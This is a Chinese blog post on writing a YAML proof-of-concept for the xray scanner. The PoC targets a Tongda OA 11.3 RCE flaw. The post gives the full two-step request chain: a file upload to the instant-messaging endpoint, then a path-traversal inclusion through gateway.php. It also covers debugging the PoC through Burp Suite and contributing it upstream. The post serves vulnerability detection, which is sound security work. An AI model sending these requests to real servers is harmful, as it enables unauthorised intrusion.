给 XRAY 编写 POC 的一次经历
List:
1 前言
2 阅读官方文档
3 编写的POC示例
3.1 通达OA-RCE-POC示例
3.2 使用Burpsuite调试POC
3.3 贡献POC流程
0x1 前言
xray 由 go 编写的安全评估工具。
该工具可以节省工作中大量的重复及造轮子行为,可以节省大量的时间。
xray 中的 poc 是通过 YAML 编写非常简洁。
Tips: xray 还有内置的 poc,使用 go 编写,可参考 xray 的 config.yaml
配置文件。
本文记录个人为 xray 编写 tongda-oa-rce poc 的步骤。
0x2 阅读官方文档
如何高效率编写 POC ,其中参考如下链接:
https://docs.xray.cool/#/guide/high_quality_poc
https://paper.seebug.org/9/
参考 xray 仓库内其他工程师编写的 POC:
https://github.com/chaitin/xray
https://github.com/chaitin/xray/tree/master/docs
0x3 编写的POC示例
3.1 通达OA-RCE-POC示例
tongda-oa-rce.yml
name: poc-yaml-tongda-oa-rce
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /ispirit/im/upload.php
headers:
User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
Content-Type: >-
multipart/form-data;charset=utf-8;boundary=---------------------------27723940316706158781839860668
Accept-Encoding: 'deflate'
body: |-
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
{{rand}}
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="P"
{{rand}}
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="DEST_UID"
{{rand}}
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="UPLOAD_MODE"
1
-----------------------------27723940316706158781839860668
follow_redirects: false
expression: |
response.status == 200
search: (?P<dirname>200\d)_(?P<filename>\d+)
- method: POST
path: /ispirit/interface/gateway.php
headers:
User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
Content-Type: 'application/x-www-form-urlencoded'
Accept-Encoding: 'deflate'
body: |
json={"url":"../../../general/../attach/im/{{dirname}}/{{filename}}.jpg"}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(rand)))
detail:
author: 清风明月(www.secbook.info)
demo_tongda_version: 'tongda-oa-11.3'
links:
- https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe
- https://www.anquanke.com/post/id/201174
- https://github.com/fuhei/tongda_rce/blob/master/tongda_rce.py
3.2 使用Burpsuite调试POC
在配置文件 http 段中加入 proxy: "http://proxy:port"
,比如设置 burpsuite 为代理,这样 poc 发送的请求可以在 burp 中看到,看是否是期望的样子。
使用 Burpsuite 调试如下。
使用 xray 对单个 url 进行探测扫描。
./xray webscan --plugins phantasm --poc tongda-oa-rce.yml --url http://10.211.55.16
3.3 贡献POC流程
贡献 POC 的流程:https://docs.xray.cool/#/guide/contribute
提交之后审核流程快的很,但是本人使用的xray版本未更新,导致未看到配置文件内置的通达OA-RCE的POC,所以忽略了,但是学到了很多的东西。
本人提交的传送门:
https://github.com/chaitin/xray/pull/801
为XRAY提交POC的时候可以参考如上,重要的是不要提交重复的POC。
附带一句高级版的 xray 才支持内置的 POC 检测,社区版的 xray 只支持 xray 仓库内的POC检测。
突然发现,虽然最新版的xray内置了这个rce的POC,但是我发现了BUG,XRAY用go内置通达RCE的POC只检测了文件包含并未检测上传漏洞- -,所以这个POC仍然适用- -/*